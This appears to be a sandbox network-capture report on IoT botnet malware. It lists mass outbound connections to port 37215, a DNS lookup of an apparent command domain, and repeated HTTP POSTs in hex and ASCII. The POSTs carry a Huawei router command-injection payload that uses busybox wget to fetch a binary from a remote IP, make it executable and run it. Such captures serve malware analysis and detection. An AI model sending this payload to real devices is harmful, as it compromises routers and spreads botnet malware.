Jan 22, 2024 03:59:53.445197105 CET	58015	37215	192.168.2.20	160.187.133.248
Jan 22, 2024 03:59:53.445219040 CET	58015	37215	192.168.2.20	41.112.234.177
Jan 22, 2024 03:59:53.445242882 CET	58015	37215	192.168.2.20	122.36.25.247
Jan 22, 2024 03:59:53.445245028 CET	58015	37215	192.168.2.20	181.228.2.233
Jan 22, 2024 03:59:53.445260048 CET	58015	37215	192.168.2.20	197.207.49.119
Jan 22, 2024 03:59:53.445274115 CET	58015	37215	192.168.2.20	156.111.178.171
Jan 22, 2024 03:59:53.445297956 CET	58015	37215	192.168.2.20	197.113.222.58
Jan 22, 2024 03:59:53.445313931 CET	58015	37215	192.168.2.20	41.93.22.200
Jan 22, 2024 03:59:53.445332050 CET	58015	37215	192.168.2.20	92.14.9.116
Jan 22, 2024 03:59:53.445348024 CET	58015	37215	192.168.2.20	186.160.153.195
Jan 22, 2024 03:59:53.445358038 CET	58015	37215	192.168.2.20	156.1.65.178
Jan 22, 2024 03:59:53.445374012 CET	58015	37215	192.168.2.20	197.82.243.140
Jan 22, 2024 03:59:53.445393085 CET	58015	37215	192.168.2.20	197.107.173.176
Jan 22, 2024 03:59:53.445404053 CET	58015	37215	192.168.2.20	156.151.188.48
Jan 22, 2024 03:59:53.445427895 CET	58015	37215	192.168.2.20	197.89.234.29
Jan 22, 2024 03:59:53.445435047 CET	58015	37215	192.168.2.20	41.29.235.145
Jan 22, 2024 03:59:53.445460081 CET	58015	37215	192.168.2.20	41.55.154.62
Jan 22, 2024 03:59:53.445485115 CET	58015	37215	192.168.2.20	138.168.138.200
Jan 22, 2024 03:59:53.445489883 CET	58015	37215	192.168.2.20	197.91.222.94
Jan 22, 2024 03:59:53.445502043 CET	58015	37215	192.168.2.20	121.117.216.118
Jan 22, 2024 03:59:53.445524931 CET	58015	37215	192.168.2.20	92.27.154.15
Jan 22, 2024 03:59:53.445534945 CET	58015	37215	192.168.2.20	102.77.242.90
Jan 22, 2024 03:59:53.445550919 CET	58015	37215	192.168.2.20	197.60.205.98
Jan 22, 2024 03:59:53.445569038 CET	58015	37215	192.168.2.20	102.82.196.112
Jan 22, 2024 03:59:53.445589066 CET	58015	37215	192.168.2.20	197.236.162.37
Jan 22, 2024 03:59:53.445597887 CET	58015	37215	192.168.2.20	197.10.134.89
Jan 22, 2024 03:59:53.445616007 CET	58015	37215	192.168.2.20	222.76.218.51
Jan 22, 2024 03:59:53.445637941 CET	58015	37215	192.168.2.20	190.104.116.57
Jan 22, 2024 03:59:53.445652008 CET	58015	37215	192.168.2.20	156.218.139.222
Jan 22, 2024 03:59:53.445664883 CET	58015	37215	192.168.2.20	186.74.185.153
Jan 22, 2024 03:59:53.445683002 CET	58015	37215	192.168.2.20	157.93.48.224
Jan 22, 2024 03:59:53.445703983 CET	58015	37215	192.168.2.20	102.185.36.213
Jan 22, 2024 03:59:53.445709944 CET	58015	37215	192.168.2.20	197.93.228.203
Jan 22, 2024 03:59:53.445732117 CET	58015	37215	192.168.2.20	156.252.87.22
Jan 22, 2024 03:59:53.445776939 CET	58015	37215	192.168.2.20	186.60.60.247
Jan 22, 2024 03:59:53.445777893 CET	58015	37215	192.168.2.20	186.208.249.22
Jan 22, 2024 03:59:53.445780993 CET	58015	37215	192.168.2.20	156.141.235.33
Jan 22, 2024 03:59:53.445791006 CET	58015	37215	192.168.2.20	181.90.121.80
Jan 22, 2024 03:59:53.445812941 CET	58015	37215	192.168.2.20	41.234.48.222
Jan 22, 2024 03:59:53.445822954 CET	58015	37215	192.168.2.20	197.193.15.157
Jan 22, 2024 03:59:53.445843935 CET	58015	37215	192.168.2.20	197.0.255.232
Jan 22, 2024 03:59:53.445859909 CET	58015	37215	192.168.2.20	41.208.52.166
Jan 22, 2024 03:59:53.445873976 CET	58015	37215	192.168.2.20	37.174.210.223
Jan 22, 2024 03:59:53.445919037 CET	58015	37215	192.168.2.20	41.206.18.62
Jan 22, 2024 03:59:53.445919037 CET	58015	37215	192.168.2.20	197.91.72.19
Jan 22, 2024 03:59:53.445919037 CET	58015	37215	192.168.2.20	107.102.19.219
Jan 22, 2024 03:59:53.445934057 CET	58015	37215	192.168.2.20	41.211.197.63
Jan 22, 2024 03:59:53.445957899 CET	58015	37215	192.168.2.20	94.244.196.216
Jan 22, 2024 03:59:53.445972919 CET	58015	37215	192.168.2.20	196.73.42.91
Jan 22, 2024 03:59:53.445997953 CET	58015	37215	192.168.2.20	121.127.95.42
Jan 22, 2024 03:59:53.445997953 CET	58015	37215	192.168.2.20	41.183.218.117
Jan 22, 2024 03:59:53.446028948 CET	58015	37215	192.168.2.20	138.165.101.155
Jan 22, 2024 03:59:53.446033001 CET	58015	37215	192.168.2.20	41.234.171.165
Jan 22, 2024 03:59:53.446053982 CET	58015	37215	192.168.2.20	197.244.4.112
Jan 22, 2024 03:59:53.446069956 CET	58015	37215	192.168.2.20	120.141.223.129
Jan 22, 2024 03:59:53.446079016 CET	58015	37215	192.168.2.20	197.111.170.22
Jan 22, 2024 03:59:53.446110010 CET	58015	37215	192.168.2.20	41.141.52.56
Jan 22, 2024 03:59:53.446118116 CET	58015	37215	192.168.2.20	157.139.13.66
Jan 22, 2024 03:59:53.446132898 CET	58015	37215	192.168.2.20	197.199.68.7
Jan 22, 2024 03:59:53.446144104 CET	58015	37215	192.168.2.20	156.164.139.14
Jan 22, 2024 03:59:53.446167946 CET	58015	37215	192.168.2.20	45.34.108.58
Jan 22, 2024 03:59:53.446182013 CET	58015	37215	192.168.2.20	156.2.51.154
Jan 22, 2024 03:59:53.446208954 CET	58015	37215	192.168.2.20	181.213.180.206
Jan 22, 2024 03:59:53.446211100 CET	58015	37215	192.168.2.20	156.82.167.16
Jan 22, 2024 03:59:53.446233988 CET	58015	37215	192.168.2.20	41.32.217.97
Jan 22, 2024 03:59:53.446254969 CET	58015	37215	192.168.2.20	121.116.80.22
Jan 22, 2024 03:59:53.446263075 CET	58015	37215	192.168.2.20	196.243.44.254
Jan 22, 2024 03:59:53.446279049 CET	58015	37215	192.168.2.20	94.17.225.166
Jan 22, 2024 03:59:53.446286917 CET	58015	37215	192.168.2.20	156.235.83.238
Jan 22, 2024 03:59:53.446305037 CET	58015	37215	192.168.2.20	197.104.50.248
Jan 22, 2024 03:59:53.446326971 CET	58015	37215	192.168.2.20	197.221.162.226
Jan 22, 2024 03:59:53.446335077 CET	58015	37215	192.168.2.20	197.249.28.16
Jan 22, 2024 03:59:53.446347952 CET	58015	37215	192.168.2.20	156.150.143.77
Jan 22, 2024 03:59:53.446374893 CET	58015	37215	192.168.2.20	156.17.209.199
Jan 22, 2024 03:59:53.446383953 CET	58015	37215	192.168.2.20	41.220.89.123
Jan 22, 2024 03:59:53.446394920 CET	58015	37215	192.168.2.20	196.61.69.183
Jan 22, 2024 03:59:53.446420908 CET	58015	37215	192.168.2.20	41.43.131.245
Jan 22, 2024 03:59:53.446432114 CET	58015	37215	192.168.2.20	41.43.195.227
Jan 22, 2024 03:59:53.446454048 CET	58015	37215	192.168.2.20	156.159.167.177
Jan 22, 2024 03:59:53.446464062 CET	58015	37215	192.168.2.20	41.240.239.179
Jan 22, 2024 03:59:53.446487904 CET	58015	37215	192.168.2.20	41.25.144.38
Jan 22, 2024 03:59:53.446496964 CET	58015	37215	192.168.2.20	156.196.67.4
Jan 22, 2024 03:59:53.446515083 CET	58015	37215	192.168.2.20	37.228.67.207
Jan 22, 2024 03:59:53.446537018 CET	58015	37215	192.168.2.20	107.230.139.226
Jan 22, 2024 03:59:53.446552038 CET	58015	37215	192.168.2.20	197.213.0.90
Jan 22, 2024 03:59:53.446567059 CET	58015	37215	192.168.2.20	41.68.12.27
Jan 22, 2024 03:59:53.446582079 CET	58015	37215	192.168.2.20	197.231.197.20
Jan 22, 2024 03:59:53.446609020 CET	58015	37215	192.168.2.20	156.39.125.172
Jan 22, 2024 03:59:53.446613073 CET	58015	37215	192.168.2.20	156.209.221.184
Jan 22, 2024 03:59:53.446644068 CET	58015	37215	192.168.2.20	197.162.63.6
Jan 22, 2024 03:59:53.446656942 CET	58015	37215	192.168.2.20	156.0.146.8
Jan 22, 2024 03:59:53.446661949 CET	58015	37215	192.168.2.20	156.35.111.103
Jan 22, 2024 03:59:53.446670055 CET	58015	37215	192.168.2.20	197.125.212.184
Jan 22, 2024 03:59:53.446696043 CET	58015	37215	192.168.2.20	41.124.205.166
Jan 22, 2024 03:59:53.446712017 CET	58015	37215	192.168.2.20	41.158.245.2
Jan 22, 2024 03:59:53.446721077 CET	58015	37215	192.168.2.20	196.94.115.1
Jan 22, 2024 03:59:53.446748018 CET	58015	37215	192.168.2.20	197.142.178.68
Jan 22, 2024 03:59:53.446762085 CET	58015	37215	192.168.2.20	196.102.130.224
Jan 22, 2024 03:59:53.446770906 CET	58015	37215	192.168.2.20	156.129.64.89
Jan 22, 2024 03:59:53.446788073 CET	58015	37215	192.168.2.20	156.105.62.165
Jan 22, 2024 03:59:53.446801901 CET	58015	37215	192.168.2.20	156.44.181.114
Jan 22, 2024 03:59:53.446818113 CET	58015	37215	192.168.2.20	41.111.125.13
Jan 22, 2024 03:59:53.446830034 CET	58015	37215	192.168.2.20	156.116.193.251
Jan 22, 2024 03:59:53.446856022 CET	58015	37215	192.168.2.20	107.150.63.180
Jan 22, 2024 03:59:53.446865082 CET	58015	37215	192.168.2.20	37.31.64.85
Jan 22, 2024 03:59:53.446878910 CET	58015	37215	192.168.2.20	41.129.96.124
Jan 22, 2024 03:59:53.446906090 CET	58015	37215	192.168.2.20	41.160.84.240
Jan 22, 2024 03:59:53.446930885 CET	58015	37215	192.168.2.20	156.209.237.47
Jan 22, 2024 03:59:53.446932077 CET	58015	37215	192.168.2.20	41.2.141.8
Jan 22, 2024 03:59:53.446957111 CET	58015	37215	192.168.2.20	222.55.35.89
Jan 22, 2024 03:59:53.446969032 CET	58015	37215	192.168.2.20	41.169.18.119
Jan 22, 2024 03:59:53.446983099 CET	58015	37215	192.168.2.20	95.68.19.228
Jan 22, 2024 03:59:53.447000980 CET	58015	37215	192.168.2.20	186.24.179.44
Jan 22, 2024 03:59:53.447010040 CET	58015	37215	192.168.2.20	107.183.220.123
Jan 22, 2024 03:59:53.447026014 CET	58015	37215	192.168.2.20	45.21.133.160
Jan 22, 2024 03:59:53.447045088 CET	58015	37215	192.168.2.20	94.196.32.168
Jan 22, 2024 03:59:53.447057009 CET	58015	37215	192.168.2.20	197.201.33.59
Jan 22, 2024 03:59:53.447182894 CET	58538	37215	192.168.2.20	41.44.208.165
Jan 22, 2024 03:59:53.678509951 CET	37215	58015	37.214.190.203	192.168.2.20
Jan 22, 2024 03:59:53.678906918 CET	37215	58015	45.10.219.81	192.168.2.20
Jan 22, 2024 03:59:53.678965092 CET	37215	58015	94.196.32.168	192.168.2.20
Jan 22, 2024 03:59:53.685750961 CET	37215	58015	160.177.158.244	192.168.2.20
Jan 22, 2024 03:59:53.692720890 CET	37215	58015	41.42.9.93	192.168.2.20
Jan 22, 2024 03:59:53.707504034 CET	37215	58015	37.232.34.15	192.168.2.20
Jan 22, 2024 03:59:53.714519978 CET	37215	58015	95.15.3.22	192.168.2.20
Jan 22, 2024 03:59:53.719585896 CET	37215	58015	156.235.83.238	192.168.2.20
Jan 22, 2024 03:59:53.722155094 CET	37215	58538	41.44.208.165	192.168.2.20
Jan 22, 2024 03:59:53.722424030 CET	58538	37215	192.168.2.20	41.44.208.165
Jan 22, 2024 03:59:53.723136902 CET	58538	37215	192.168.2.20	41.44.208.165
Jan 22, 2024 03:59:53.723195076 CET	58538	37215	192.168.2.20	41.44.208.165
Jan 22, 2024 03:59:53.723383904 CET	58540	37215	192.168.2.20	41.44.208.165
Jan 22, 2024 03:59:53.724695921 CET	37215	58015	41.234.171.165	192.168.2.20
Jan 22, 2024 03:59:53.791273117 CET	37215	58015	156.254.104.92	192.168.2.20
Jan 22, 2024 03:59:53.824032068 CET	37215	58015	222.17.112.232	192.168.2.20
Jan 22, 2024 03:59:53.995589018 CET	37215	58540	41.44.208.165	192.168.2.20
Jan 22, 2024 03:59:53.995651960 CET	37215	58538	41.44.208.165	192.168.2.20
Jan 22, 2024 03:59:53.995973110 CET	58540	37215	192.168.2.20	41.44.208.165
Jan 22, 2024 03:59:53.995973110 CET	58540	37215	192.168.2.20	41.44.208.165
Jan 22, 2024 03:59:53.999588966 CET	37215	58538	41.44.208.165	192.168.2.20
Jan 22, 2024 03:59:53.999691010 CET	58538	37215	192.168.2.20	41.44.208.165
Jan 22, 2024 03:59:54.003221035 CET	37215	58538	41.44.208.165	192.168.2.20
Jan 22, 2024 03:59:54.003292084 CET	58538	37215	192.168.2.20	41.44.208.165
Jan 22, 2024 03:59:54.267411947 CET	37215	58540	41.44.208.165	192.168.2.20
Jan 22, 2024 03:59:54.267642021 CET	58540	37215	192.168.2.20	41.44.208.165
Jan 22, 2024 03:59:54.380506992 CET	33970	37215	192.168.2.20	156.224.10.150
Jan 22, 2024 03:59:54.408643961 CET	60028	37215	192.168.2.20	156.73.154.109
Jan 22, 2024 03:59:54.412611961 CET	33968	37215	192.168.2.20	156.224.10.150
Jan 22, 2024 03:59:54.428472042 CET	53046	37215	192.168.2.20	107.190.230.35
Jan 22, 2024 03:59:54.996889114 CET	58015	37215	192.168.2.20	41.164.166.236
Jan 22, 2024 03:59:54.996896982 CET	58015	37215	192.168.2.20	160.118.213.7
Jan 22, 2024 03:59:54.996929884 CET	58015	37215	192.168.2.20	120.170.100.46
Jan 22, 2024 03:59:54.997023106 CET	58015	37215	192.168.2.20	196.85.194.165
Jan 22, 2024 03:59:54.997052908 CET	58015	37215	192.168.2.20	156.191.54.102
Jan 22, 2024 03:59:54.997081041 CET	58015	37215	192.168.2.20	160.240.205.85
Jan 22, 2024 03:59:54.997132063 CET	58015	37215	192.168.2.20	197.126.216.58
Jan 22, 2024 03:59:54.997272015 CET	58015	37215	192.168.2.20	196.169.121.214
Jan 22, 2024 03:59:54.997313023 CET	58015	37215	192.168.2.20	94.79.229.48
Jan 22, 2024 03:59:54.997366905 CET	58015	37215	192.168.2.20	156.106.40.218
Jan 22, 2024 03:59:54.997384071 CET	58015	37215	192.168.2.20	122.160.90.248
Jan 22, 2024 03:59:54.997459888 CET	58015	37215	192.168.2.20	197.154.31.227

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 22, 2024 03:59:20.259608030 CET	192.168.2.20	130.61.69.123	0x1fab	Standard query (0)	cynthiaoperez.geek	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.20	37948	107.151.219.169	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 03:59:21.479994059 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:22.268486023 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:23.212500095 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:25.104546070 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:28.892534971 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 